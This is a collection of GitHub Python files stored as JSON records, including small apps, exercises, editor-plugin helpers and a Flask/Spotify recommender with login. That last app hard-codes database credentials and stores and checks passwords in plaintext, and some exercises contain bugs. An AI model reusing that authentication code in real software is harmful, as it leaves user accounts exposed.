Label(text=article_list[3],size_hint=(.5, .3),pos_hint={'right':1, 'top':1})\n            self.add_widget(article_source)\n            article_link = Button(text=\"Lien de l'article\",size_hint=(.3, .3),pos_hint={'right':1, 'y':0})\n            self.add_widget(article_link)\n        \n    class CustomScrollView(EndEventScroll):\n\n        layout1 = ObjectProperty(None)\n\n        def on_end_event(self):\n            height = 0.0\n\n            for i in range(40):\n                btn = Button(text=str(i), size_hint=(None, None),\n                             size=(200, 100))\n                self.layout1.add_widget(btn)\n                height += btn.height\n            height = float(height / self.layout1.cols)\n            procent = (100.0 * height)/float(self.layout1.height)\n            self.scroll_y += procent/100.0\n\n\n    class ScrollViewApp(App):\n\n        def build(self):\n            article_layout_list = self.get_article_layout()\n            layout2 = GridLayout(cols=1, spacing=10, size=(250, 300))\n            # layout2.bind(minimum_height=layout2.setter('height'),\n            #              minimum_width=layout2.setter('width'))\n            for i, article_layout in enumerate(article_layout_list[:4]):\n                \n                btn = Button(text=str(i), size_hint=(None, None),\n                              size=(200, 100))\n                # layout2.add_widget(article_layout)\n            scrollview2 = ScrollView(scroll_type=['bars'],\n                                     bar_width='9dp',\n                                     scroll_wheel_distance=100,\n                                     size= (300,500))\n            scrollview2.add_widget(layout2)\n            \n            return scrollview2\n        \n        def get_article_list(self):\n            article_list_path = 'article_list.txt'\n            with open(article_list_path,'r') as f:\n                article_list = f.readlines()\n            return article_list\n    \n        def get_article_layout(self):\n            article_list = self.get_article_list()\n            article_layout_list = [Article_layout(article_str, size=(200,100)) for i, article_str in enumerate(article_list)]\n            return article_layout_list\n    \n    Builder.load_file('test2.kv')\n    ScrollViewApp().run()","repo_name":"alejeune88/RSS_feeder","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":3719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20252916417","text":"from flask import Flask, request, jsonify\n\napp = Flask('employees')\n\n@app.route('/submit', methods=['POST'])\ndef submit_form():\n    data = request.get_json()\n    # Here, you can handle the form data, e.g., save it to a database\n    return jsonify({\"message\": \"Data received successfully\"})\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"arjunrajesh14/LOGINFORM","sub_path":"app/src/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6053210896","text":"# practical 7\n# Write /execute simple ‘Python’ program: Find the Sum of Digits in a Number\n\n# /  : classic division returns a float\n# // : floor division discards the fractional part\n\nnum = int(input(\"enter any random number : \"))\nsum = 0\n\nwhile(num > 0):\n\n    mod = num%10\n    sum = sum+mod\n    num = num//10\n\nprint(sum)","repo_name":"vedikasontakke/19CM059-python-Practicals","sub_path":"19CM059_PR7.py","file_name":"19CM059_PR7.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19332914971","text":"import torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nfrom decoder import VAE_ResidualBlock, VAE_AttentionBlock\n\nclass VAE_Encoder(nn.Sequential):\n    \n    def __init__(self):\n        super().__init__(\n            \n            nn.Conv2d(3,128,kernel_size=3, padding=1),\n            VAE_ResidualBlock(128,128),\n            VAE_ResidualBlock(128,128),\n            nn.Conv2d(128,128,kernel_size=3,stride=2,padding=0),\n            VAE_ResidualBlock(128,256),\n            VAE_ResidualBlock(256,256),\n            nn.Conv2d(256,256,kernel_size=3,stride=2, padding=0),\n            VAE_ResidualBlock(256,256),\n            VAE_ResidualBlock(512,512),\n            nn.Conv2d(512,512,kernel_size=3,stride=2,padding=0),\n            VAE_ResidualBlock(512,512),\n            VAE_ResidualBlock(512,512),\n            VAE_ResidualBlock(512,512),\n            VAE_AttentionBlock(512),\n            VAE_ResidualBlock(512,512),\n            nn.GroupNorm(32,512),\n            nn.SiLU(),\n            nn.Conv2d(512,8,kernel_size=3,padding=1),\n            nn.Conv2d(8,8, kernel_size=3,padding=0),\n        )\n\n    def forward(self, x, noise):\n        \n        \"\"\"\n        x : batch of images of shape : (batch_size, channel, height, width)\n        noise : of shape : (batch_size, 4, height/8, width/8)\n        \"\"\"\n\n        for module in self:\n            if getattr(module, 'stride', None) == (2,2):\n                \n                # pad to the right and bottom\n                x = F.pad(x, (0,1,0,1)) \n\n            x = module(x)\n        \n        # mean and variance of distribution\n        mean, log_variance = torch.chunk(x,2,dim=1)\n        log_variance = torch.clamp(log_variance, -30,20)\n        variance = log_variance.exp()\n        stdev = variance.sqrt()\n\n        # re-parameterization trick and mean and variance for the distribution\n        # Transform N(0, 1) -> N(mean, stdev)\n        x = mean + stdev * noise\n        \n        # scale it as per : https://github.com/CompVis/stable-diffusion/blob/21f890f9da3cfbeaba8e2ac3c42nn5ee9e998d5229/configs/stable-diffusion/v1-inference.yaml#L17C1-L17C1\n        # and https://github.dev/hkproj/pytorch-stable-diffusion/blob/main/sd/encoder.py\n        x *= 0.18215 \n\n        return x\n    ","repo_name":"charchit7/Stable-Diffusion-from-Scratch","sub_path":"stable_difussion/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42998703763","text":"# Setting player as None initially\nclass Gamer:\n    player = None\n    ai = None\n\n\n#  Setting variables\nO = '0'\nX = 'X'\nplayer_moves = []\nai_moves = []\nwidth = 3\nheight = 3\ncenter = (1, 1)\ncorner = [(0, 0), (2, 0), (0, 2), (2, 2)]\nedges = [(1, 0), (0, 1), (2, 1), (1, 2)]\n\n\nclass Game_over:\n    lost = False\n    game_over = False\n\n\n# Checking if winning pattern could be made\ndef checking_line(item_dup, moves):\n    row_count = {0: 0, 1: 0, 2: 0}\n    column_count = {0: 0, 1: 0, 2: 0}\n    diagonal_up_count = 0\n    diagonal_down_count = 0\n    moves_dup = moves.copy()\n    moves_dup.append(item_dup)\n\n    for (i, j) in moves_dup:\n        row_count[j] += 1\n        column_count[i] += 1\n        if i == j:\n            diagonal_down_count += 1\n        if (width - 1 - i) == j:\n            diagonal_up_count += 1\n\n    for i in range(0, width):\n        if row_count[i] == 3 or column_count[i] == 3:\n            return 1\n        elif diagonal_down_count == 3 or diagonal_up_count == 3:\n            return 1\n    return 0\n\n\ndef actions():\n    action = set()\n    for i in range(0, 3):\n        for j in range(0, 3):\n            if (i, j) in player_moves or (i, j) in ai_moves:\n                continue\n            action.add((i, j))\n    return action\n\n\ndef tricks():\n    if Gamer.ai == X:\n        if center not in ai_moves:\n            return center\n        for row in corner:\n            if row not in ai_moves and row not in player_moves:\n                (i, j) = row\n                if (i + 1, j) not in player_moves and (i, j + 1) not in \\\n                        player_moves and (i - 1, j) not in player_moves and (\n                        i, j - 1) not in player_moves:\n                    return row\n        return 0\n    elif Gamer.ai == O:\n        if center not in ai_moves and center not in player_moves:\n            return center\n        if center in ai_moves:\n            for row in edges:\n                if row not in ai_moves and row not in player_moves:\n                    return row\n        else:\n            for row in corner:\n                if row not in ai_moves and row not in player_moves:\n                    return row\n        return 0\n\n\ndef ai_perfomance():\n    available_actions = actions()\n\n    for item in available_actions:\n        if checking_line(item, ai_moves):\n            Game_over.lost = True\n            return item\n\n    for item in available_actions:\n        if checking_line(item, player_moves):\n            return item\n\n    clue = tricks()\n    if clue:\n        return clue\n    else:\n        return available_actions.pop()\n","repo_name":"albinjohn366/Tic-Tac-Toe_Game","sub_path":"my_tic_tac_toe.py","file_name":"my_tic_tac_toe.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73803733202","text":"from itertools import combinations\n\ndef solution(line):\n    coordinates = list()\n    for (a1, b1, c1), (a2, b2, c2) in combinations(line, 2):\n        x_numerator = b1 * c2 - c1 * b2\n        y_numerator = a2 * c1 - a1 * c2\n        denominator = a1 * b2 - a2 * b1\n        if denominator and x_numerator % denominator == 0 and y_numerator % denominator == 0:\n            coordinates.append([x_numerator // denominator, y_numerator // denominator])\n\n    min_x, max_x = min(map(lambda z: z[0], coordinates)), max(map(lambda z: z[0], coordinates))\n    min_y, max_y = min(map(lambda z: z[1], coordinates)), max(map(lambda z: z[1], coordinates))\n    coordinates = list(map(lambda z: [z[0] - min_x, z[1] - min_y], coordinates))\n    answer = [['.' for _ in range(max_x - min_x + 1)] for _ in range(max_y - min_y + 1)]\n    for x, y in coordinates:\n        answer[-y-1][x] = '*'\n    return list(map(lambda z: ''.join(z), answer))","repo_name":"kimnamjun/CodingTest","sub_path":"프로그래머스/위클리 챌린지/lvl2 교점에 별 만들기.py","file_name":"lvl2 교점에 별 만들기.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42543886722","text":"#coding:utf-8\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n##############导入数据\ndir = 'D://python/nzl/TianChi/Car_Prediction/'\ntrain = pd.read_table(dir + 'train.txt', engine='python')\ntest_A = pd.read_table(dir + 'test_A.txt', engine='python')\nsample_A = pd.read_table(dir + 'sample_A.txt', engine='python')\nprint(train.info())\nprint(test_A.info())\nprint(train['day_of_week'].unique())\nprint(test_A['day_of_week'].unique())\n\n##############找出目标值（即我们需要预测的）\n#===== 箱型图，可查看异常值\nplt.boxplot(train['cnt'])\nplt.show()\n#===== 分布图\nimport seaborn as sns\ncolor = sns.color_palette()\nsns.set_style('darkgrid')\nfrom scipy import stats\nfrom scipy.stats import norm, skew\n\nsns.distplot(train['cnt'], fit=norm)\nplt.show()\n\n##############找出与目标变量最相关的量\n#===== 脱敏时间变量\nplt.plot(train['date'],train['cnt'])\nplt.show()\n#===== 日期\nplt.scatter(train['day_of_week'], train['cnt'])\nplt.show()\n#===== 数字信息\nprint(train['cnt'].describe())\n#===== 均方差MSE为评测函数，确定统计数据在评测函数中的指标\nfrom sklearn.metrics import mean_squared_error\ntrain['25%'] = 221\ntrain['50%'] = 351\ntrain['75%'] = 496\ntrain['median'] = train['cnt'].median()\ntrain['mean'] = train['cnt'].mean()\nprint(mean_squared_error(train['cnt'],train['25%']))\nprint(mean_squared_error(train['cnt'],train['50%']))\nprint(mean_squared_error(train['cnt'],train['75%']))\nprint(mean_squared_error(train['cnt'],train['median']))\nprint(mean_squared_error(train['cnt'],train['mean']))\n## 可以大概看出来，由于存在异常点较多，导致统计量在时间轴上的表现并不是那么理想。现在还可以用的信息，只剩下了星期了，救命稻草之星期信息\n\n##############开始对星期信息统计，分别分析周一周五的分布情况\nfor i in range(1, 8, 1):\n    day_of_week = train[train['day_of_week'] == i]\n    plt.subplot(2, 4, i)\n    plt.plot(range(len(day_of_week)), day_of_week['cnt'])\nplt.show()\n## 明显可以把1-5和6,7分为两组去分析\n#===== 简单分析一下按照星期的评测分数\nres = train.groupby(['day_of_week'],as_index=False).cnt.mean()\nxx = train.merge(res,on=['day_of_week'])\nprint(xx.head())\nprint(mean_squared_error(xx['cnt_x'],xx['cnt_y']))\n\n\n\n","repo_name":"nzl-ustb/TianChi_CarLicenseCount","sub_path":"DataAnalysis.py","file_name":"DataAnalysis.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1071147889","text":"# let's about dictionaries in python\n# by using this dict we can easily solve problem\n\n# Solving a problem using lists\n\nnames = [\"Raju\",\"Ramana\",\"Ravi\"]\nplace = [\"kommuchikkala\",\"kakinada\",\"kakinada\"]\n\nname = input(\"enter name: \")\nif name in names:\n# here names.index(name) gives index value if the entered string present in this list\n    i = names.index(name)\nprint (place[i])\n\n# Same problem by using dictionary\n\nstu_info = {\n    # \"Here it is key\":\"Here it is value\"\n    # it can take only to values \n    # if u want to give more values u can lists along with dictionaries\n    \"Raju\":\"kommuchikkala\",\n    \"Ramana\":\"kakinada\",\n    \"Ravi\":\"kakinada\"\n    }\n\nname = input(\"enter name:\")\nif name in stu_info:\n    print(stu_info[name])\n\n# printing all keys and value in this dictionary \nstu_info = {\n    \"Raju\":\"kommuchikkala\",\n    \"Ramana\":\"kakinada\",\n    \"Ravi\":\"kakinada\"\n    }\nfor student in stu_info:\n    print(student,stu_info[student],sep=\"-\")\n\n# using dic and lists at time.\n# printing all element in this\n\nstu_info = [\n    {\"name\":\"Raju\",\"place\":\"kommuchikkala\",\"roll no\":\"20B21A4560\"},\n    {\"name\":\"Ravi\",\"place\":\"kakinada\",\"roll no\":\"20B21A4554\"},\n    {\"name\":\"Ramana\",\"place\":\"kakinada\",\"roll no\":\"20B21A4543\"},\n    {\"name\":\"Narendra\",\"place\": None,\"roll no\":\"20B21A4584\"}\n]\n\nfor student in stu_info:\n    print(student[\"name\"],student[\"place\"],student[\"roll no\"],sep=\", \")\n\n\n","repo_name":"iamprasadraju/CS50P","sub_path":"dict.py","file_name":"dict.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43023876784","text":"# Licensed under the Apache License, Version 2.0 (the 'License');\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an 'AS IS' BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom pyramid.httpexceptions import HTTPSeeOther\nfrom pyramid.view import view_config\n\nfrom warehouse.admin.flags import AdminFlag\n\n\n@view_config(\n    route_name=\"admin.flags\",\n    renderer=\"admin/flags/index.html\",\n    permission=\"moderator\",\n    request_method=\"GET\",\n    uses_session=True,\n)\ndef get_flags(request):\n    return {\"flags\": request.db.query(AdminFlag).order_by(AdminFlag.id).all()}\n\n\n@view_config(\n    route_name=\"admin.flags.edit\",\n    permission=\"admin\",\n    request_method=\"POST\",\n    uses_session=True,\n    require_methods=False,\n    require_csrf=True,\n)\ndef edit_flag(request):\n    flag = request.db.get(AdminFlag, request.POST[\"id\"])\n    flag.description = request.POST[\"description\"]\n    flag.enabled = bool(request.POST.get(\"enabled\"))\n\n    request.session.flash(f\"Edited flag {flag.id!r}\", queue=\"success\")\n\n    return HTTPSeeOther(request.route_path(\"admin.flags\"))\n","repo_name":"pypi/warehouse","sub_path":"warehouse/admin/views/flags.py","file_name":"flags.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":3382,"dataset":"github-code","pt":"3"}
+{"seq_id":"38311957118","text":"from collections import namedtuple\nfrom contextlib import contextmanager, ExitStack\nfrom functools import lru_cache\n\nimport sublime\n\nfrom .runtime import text_command\n\n\nMYPY = False\nif MYPY:\n    from typing import Callable, ContextManager, Iterator, List, NamedTuple, Optional, TypeVar\n    WrapperFn = Callable[[sublime.View], ContextManager[None]]\n    T_float = TypeVar(\"T_float\", int, float)\n\n    from .types import Row, Col\n    Position = NamedTuple(\"Position\", [(\"row\", Row), (\"col\", Col), (\"offset\", Optional[float])])\n\nelse:\n    Position = namedtuple(\"Position\", \"row col offset\")\n\n\ndef find_by_selector(view, selector):\n    # type: (sublime.View, str) -> List[sublime.Region]\n    # Same as `view.find_by_selector` but cached.\n    return _find_by_selector(view.id(), view.change_count(), selector)\n\n\n@lru_cache(maxsize=16)\ndef _find_by_selector(vid, _cc, selector):\n    # type: (sublime.ViewId, int, str) -> List[sublime.Region]\n    view = sublime.View(vid)\n    return view.find_by_selector(selector)\n\n\ndef show_region(view, region, context=5, prefer_end=False):\n    # type: (sublime.View, sublime.Region, int, bool) -> None\n    # Differentiate between wide and short jumps. For\n    # short jumps minimize the scrolling.\n    if touching_regions(view.visible_region(), region):\n        row_a, _ = view.rowcol(region.begin())\n        row_b, _ = view.rowcol(region.end())\n        adjusted_section = sublime.Region(\n            # `text_point` is permissive and normalizes negative rows\n            view.text_point(row_a - context, 0),\n            view.text_point(row_b + context, 0)\n        )\n        view.show(\n            adjusted_section if prefer_end else flip_region(adjusted_section),\n            False\n        )\n\n    else:\n        # For long jumps, usually keep the target, for example `region.begin()`,\n        # around center (`vh / 2`).  But try to always show the whole region\n        # if it fits.\n        lh = view.line_height()\n        _, vh = view.viewport_extent()\n        _, rt = view.text_to_layout(region.begin())\n        _, rb = view.text_to_layout(region.end())\n        rh = abs(rb - rt) + lh\n        ch = context * lh\n        offset = clamp(\n            clamp(lh, ch, vh - rh),\n            vh / 2,\n            vh - (rh + ch)\n        )\n        new_top = max(0, (rb if prefer_end else rt) - offset)\n        view.set_viewport_position((0.0, new_top))\n\n\ndef touching_regions(a, b):\n    # type: (sublime.Region, sublime.Region) -> bool\n    return a.intersects(b) or a.contains(b)\n\n\ndef join_regions(a, b):\n    # type: (sublime.Region, sublime.Region) -> sublime.Region\n    return sublime.Region(\n        min(a.begin(), b.begin()),\n        max(a.end(), b.end())\n    )\n\n\ndef flip_region(r):\n    # type: (sublime.Region) -> sublime.Region\n    return sublime.Region(r.b, r.a)\n\n\ndef clamp(lo, hi, v):\n    # type: (T_float, T_float, T_float) -> T_float\n    return max(lo, min(hi, v))\n\n\ndef line_distance(view, a, b):\n    # type: (sublime.View, sublime.Region, sublime.Region) -> int\n    a, b = sorted((a, b), key=lambda region: region.begin())\n\n    # If a region `a` already contains a trailing \"\\n\" just using\n    # `view.line(a)` will not strip this newline character but\n    # `split_by_newlines` does.\n    # E.g. for a region `(1136, 1253)` `split_by_newlines` last region\n    # is                `(1214, 1252)`\n    #                              ^\n    a_end = view.split_by_newlines(a)[-1].end()\n    b_start = b.begin()\n    return abs(row_on_pt(view, a_end) - row_on_pt(view, b_start))\n\n\ndef row_on_pt(view, pt):\n    # type: (sublime.View, sublime.Point) -> Row\n    return view.rowcol(pt)[0]\n\n\ndef capture_cur_position(view):\n    # type: (sublime.View) -> Optional[Position]\n    try:\n        sel = view.sel()[0]\n    except Exception:\n        return None\n\n    cursor = sel.b\n    row, col = view.rowcol(cursor)\n    return Position(row, col, y_offset(view, cursor))\n\n\ndef y_offset(view, cursor):\n    # type: (sublime.View, int) -> float\n    _, cy = view.text_to_layout(cursor)\n    _, vy = view.viewport_position()\n    return cy - vy\n\n\ndef scroll_to_pt(view, pt, offset, no_overscroll=False):\n    # type: (sublime.View, int, float, bool) -> None\n    if no_overscroll:\n        _, vh = view.viewport_extent()\n        if not (0 < offset < vh):\n            view.show(pt)\n            return\n\n    _, cy = view.text_to_layout(pt)\n    vy = cy - offset\n    vx, _ = view.viewport_position()\n    view.set_viewport_position((vx, vy), animate=False)\n\n\ndef place_cursor_and_show(view, pt, row_offset, no_overscroll=False):\n    # type: (sublime.View, int, Optional[float], bool) -> None\n    view.sel().clear()\n    view.sel().add(pt)\n    if row_offset is None:\n        view.show(pt)\n    else:\n        scroll_to_pt(view, pt, row_offset, no_overscroll)\n\n\ndef apply_position(view, row, col, row_offset, no_overscroll=False):\n    # type: (sublime.View, Row, Col, Optional[float], bool) -> None\n    pt = view.text_point(row, col)\n    place_cursor_and_show(view, pt, row_offset, no_overscroll)\n\n\ndef place_view(window, view, after):\n    # type: (sublime.Window, sublime.View, sublime.View) -> None\n    view_group, current_index = window.get_view_index(view)\n    group, index = window.get_view_index(after)\n    if view_group == group:\n        wanted_index = index + 1 if index < current_index else index\n        window.set_view_index(view, group, wanted_index)\n\n\n# `replace_view_content` is a wrapper for `_replace_region` to get some\n# typing support from mypy.\ndef replace_view_content(view, text, region=None, wrappers=[]):\n    # type: (sublime.View, str, sublime.Region, List[WrapperFn]) -> None\n    \"\"\"Replace the content of the view\n\n    If no region is given the whole content will get replaced. Otherwise\n    only the selected region.\n    \"\"\"\n    _replace_region(view, text, region, wrappers)\n\n\n@text_command\ndef _replace_region(view, edit, text, region=None, wrappers=[]):\n    # type: (sublime.View, sublime.Edit, str, sublime.Region, List[WrapperFn]) -> None\n    if region is None:\n        # If you \"replace\" (or expand) directly at the cursor,\n        # the cursor expands into a selection.\n        # This is a common case for an empty view so we take\n        # care of it out of box.\n        region = sublime.Region(0, max(1, view.size()))\n\n    wrappers = wrappers[:] + [stable_viewport]\n    if any(\n        region.contains(s) or region.intersects(s)\n        for s in view.sel()\n    ):\n        wrappers += [restore_cursors]\n\n    with ExitStack() as stack:\n        for wrapper in wrappers:\n            stack.enter_context(wrapper(view))\n        stack.enter_context(writable_view(view))\n        view.replace(edit, region, text)\n\n\n@contextmanager\ndef writable_view(view):\n    # type: (sublime.View) -> Iterator[None]\n    is_read_only = view.is_read_only()\n    view.set_read_only(False)\n    try:\n        yield\n    finally:\n        view.set_read_only(is_read_only)\n\n\n@contextmanager\ndef restore_cursors(view):\n    # type: (sublime.View) -> Iterator[None]\n    save_cursors = [\n        (view.rowcol(s.begin()), view.rowcol(s.end()))\n        for s in view.sel()\n    ] or [((0, 0), (0, 0))]\n\n    try:\n        yield\n    finally:\n        view.sel().clear()\n        for (begin, end) in save_cursors:\n            view.sel().add(\n                sublime.Region(view.text_point(*begin), view.text_point(*end))\n            )\n\n\n@contextmanager\ndef stable_viewport(view):\n    # type: (sublime.View) -> Iterator[None]\n    # Ref: https://github.com/SublimeTextIssues/Core/issues/2560\n    # See https://github.com/jonlabelle/SublimeJsPrettier/pull/171/files\n    # for workaround.\n    vx, vy = view.viewport_position()\n    try:\n        yield\n    finally:\n        view.set_viewport_position((0, 0), animate=False)  # intentional!\n        view.set_viewport_position((vx, vy), animate=False)\n","repo_name":"timbrel/GitSavvy","sub_path":"core/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":7770,"program_lang":"python","lang":"en","doc_type":"code","stars":1895,"dataset":"github-code","pt":"3"}
+{"seq_id":"30869415681","text":"##  Thinkful - Logic Drills: Traffic light\r\n##  8 kyu\r\n##  https://www.codewars.com/kata/58649884a1659ed6cb000072\r\n\r\n\r\ndef update_light(current):\r\n    if current == 'green':\r\n        return 'yellow'\r\n    elif current == 'yellow':\r\n        return 'red'\r\n    elif current == 'red':\r\n        return 'green'\r\n    else:\r\n        raise \"we have a problem\"\r\n    # Your code here.","repo_name":"stereoabuse/codewars","sub_path":"problems/thinkful__logic_drills_traffic_light.py","file_name":"thinkful__logic_drills_traffic_light.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24735220383","text":"#!/usr/bin/python3\n\"\"\"unittests for base_model.py\"\"\"\nimport unittest\nfrom models.base_model import BaseModel\n\nclass TestBaseModelInstatioation(unittest.TestCase):\n    \"\"\"Tests for BaseModel class instantiation\"\"\"\n    def test_instance_id_is_unique(self):\n        ModelA = BaseModel()\n        ModelB = BaseModel()\n\n        self.assertNotEqual(ModelA.id, ModelB.id)\n\n    def test_instance_creation_from_dict_repsentation(self):\n        ModelA = BaseModel()\n        ModelB = BaseModel(**ModelA.to_dict())\n\n        self.assertEqual(ModelA.id, ModelB.id)\n","repo_name":"sendyTheDev/AirBnB_clone","sub_path":"tests/tests_models/test_base_models/test_base_model.py","file_name":"test_base_model.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19872163133","text":"from collections import defaultdict\n\ndef find_lcm(*n):\n    \"\"\"since lcm is a multiple of every number of the\n    list so making use of this property\"\"\"\n    i = 0\n    #print(n)\n    d = defaultdict(int)\n    for i in range(len(n)):\n        d[i] = n[i]\n    #print(d)\n    lt = list(d.values())\n    print(lt)\n    flag = True\n    while flag:\n        for i in range(1,len(lt)):\n            if lt[i] == lt[i-1]:\n                continue\n            else:\n                el = lt.pop(lt.index(min(lt)))\n                lt.insert()\n\n        flag = False\n\nans = find_lcm(3,4,6)\nprint(ans)","repo_name":"abhikashyapr22/ineuron-pycharm-classes","sub_path":"Assignments_python_basic/generalize_lcm.py","file_name":"generalize_lcm.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71518307282","text":"dict_size = int(input(\"Enter Size of dict: \"))\nvalue_size = int(input(\"Enter Size of Value of dict: \"))\ndictionary={input(\"Key: \"):[input(\"Value: \") for i in range(value_size)] for j in range(dict_size)}\n\n# print(dictionary)\n\n# dictionary = {'1':['a','b'], '2':['c','d'],'3':['e','f']}\n\n# dup=dictionary\n\n# while len(dup)!=0:\n#     for key in dup.keys():\n#         for el in dup.pop(key):\n#             print(el)\n        \n\n# keys = dictionary.keys()\n# for key in keys:\n#     for i in range(len(dictionary.get(key))):\n#         print(dictionary.get(key)[i],end=\" \")\n#         for j in range(len(dictionary.get(key))):\n#             print(dictionary.get(key)[j])\n\n# first =[]\n# for i in keys:\n#     first=dictionary.get(i)\n#     break\n\n# for j in range()\n\n# it = iter(dictionary.values())\n# print(type(it))\n# print(next(it))\n# print(next(it))\n\n\n\nprint(dictionary)\n\nvalues=list(dictionary.values())\nfor i in values[0]:\n    for j in values[1:]:\n        for k in j:\n            print(i,k)\n","repo_name":"MandeepLamba/Python","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19839915336","text":"from flask import Flask, render_template, redirect, request, flash, session, abort, url_for\nimport psycopg2\nimport os\n\nimport spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\nsp = spotipy.Spotify(client_credentials_manager=SpotifyClientCredentials())\n\nfrom pprint import pprint\n\n# Connect to the database\ndb = 'host=localhost dbname=project user=postgres password=postgres'\nconn = psycopg2.connect(db)\ncur = conn.cursor()\n\napp = Flask(__name__)\n\ndef check_loggedin():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\telse:\n\t\treturn redirect('/home')\n\n@app.route('/')\ndef root():\n\treturn check_loggedin()\n\n@app.route('/home')\ndef home():\n\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\t\n\tquery = cur.execute(\n\t'''\n\tselect \n\t\ttrack, artist, uri\n\tfrom songs,\n\t\t(select\n\t\t\t*\n\t\tfrom (\n\t\t\tselect\n\t\t\tarts.artist_name,\n\t\t\tsum(arts.clicks)\n\t\t\tfrom (\n\t\t\t\tselect\n\t\t\t\tartist_name, in_tr.tag_name, clicks\n\t\t\t\tfrom (\n\t\t\t\t\tselect\n\t\t\t\t\ttag_name, clicks\n\t\t\t\t\tfrom user_interest_tags\n\t\t\t\t\twhere\n\t\t\t\t\tusername = 'yash98'\n\t\t\t\t) as in_tr,\n\t\t\t\tartist_tags\n\t\t\t\twhere\n\t\t\t\tartist_tags.tag_name = in_tr.tag_name\n\t\t\t) as arts\n\t\t\tgroup by\n\t\t\tarts.artist_name) as arts_sum\n\t\torder by\n\t\tsum desc\n\t\tlimit 20) as arts_desc\n\twhere arts_desc.artist_name = songs.artist \n\torder by random();''')\n\n\trows=cur.fetchall()\n\n\ttrack_info = []\n\n\tmusic_art = session.get('music_art')\n\n\tfor row in rows[:20]:\n\t\tsong_name = row[0]\n\t\tartist_name = row[1]\n\t\turi = row[2]\n\t\tid_hash = uri.split(\":\")[-1]\n\n\t\tif music_art:\n\t\t\ttrack = sp.track(uri)\n\t\t\t# pprint(track)\n\t\t\timage_url = track['album']['images'][2]['url']\n\n\t\t\ttrack_info.append((uri, song_name, artist_name, id_hash, image_url))\n\t\telse:\n\t\t\ttrack_info.append((uri, song_name, artist_name, id_hash))\n\n\treturn render_template('home.html', track_info=track_info, username=session.get('username'))\n\n@app.route('/login')\ndef login():\n\tif not session.get('logged_in'):\n\t\treturn render_template('login.html')\n\telse:\n\t\treturn redirect('/home')\n\n@app.route('/login', methods=['POST'])\ndef authenticate():\n\tusername = request.form['username']\n\tpassword = request.form['password']\n\n\tcur.execute(\n\t\"\"\"\n\t\tselect passwd from users where username = %s;\n\t\"\"\", (username,))\n\n\tpwd = cur.fetchall()\n\n\tif (len(pwd) == 0):\n\t\tflash('Invalid username or password')\n\t\treturn redirect('/home')\n\telif (pwd[0][0] == password):\n\t\tsession['logged_in'] = True\n\t\tsession['username'] = username\n\t\tsession['music_art'] = False\n\t\treturn redirect('/home')\n\telse:\n\t\tflash('Invalid username or password')\n\t\treturn redirect('/home')\n\n@app.route('/signup')\ndef signup():\n\treturn render_template('signup.html')\n\n@app.route('/signup', methods=['POST'])\ndef createuser():\n\t\n\tusername = request.form['username']\n\tpassword = request.form['password']\n\tfirstname = request.form['firstname']\n\tlastname = request.form['lastname']\n\temail = request.form['email']\n\n\ttry:\n\t\tquery = cur.execute(\n\t\t\"\"\"\n\t\t\tinsert into users values(%s, %s, %s);\n\t\t\"\"\", (username, email, password))\n\texcept psycopg2.errors.UniqueViolation as uniq_voil:\n\t\tquery1 = cur.execute(\n\t\t\"\"\"\n\t\t\trollback;\n\t\t\"\"\")\n\n\t\tfor arg in uniq_voil.args:\n\t\t\tif \"users_pkey\" in arg:\n\t\t\t\tflash('Username already exists')\n\t\t\t\tflash('Pick a different username')\n\n\t\t\tif \"users_email_key\" in arg:\n\t\t\t\tflash('Email already exists')\n\t\treturn signup()\n\telse:\n\t\tquery2 = cur.execute(\n\t\t\"\"\"\n\t\t\tcommit;\n\t\t\"\"\")\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tinsert into user_details values(%s, %s, %s);\n\t\"\"\", (username, firstname, lastname))\n\n\treturn redirect('/home')\n\n@app.route('/logout')\ndef logout():\n\tsession.clear()\n\treturn 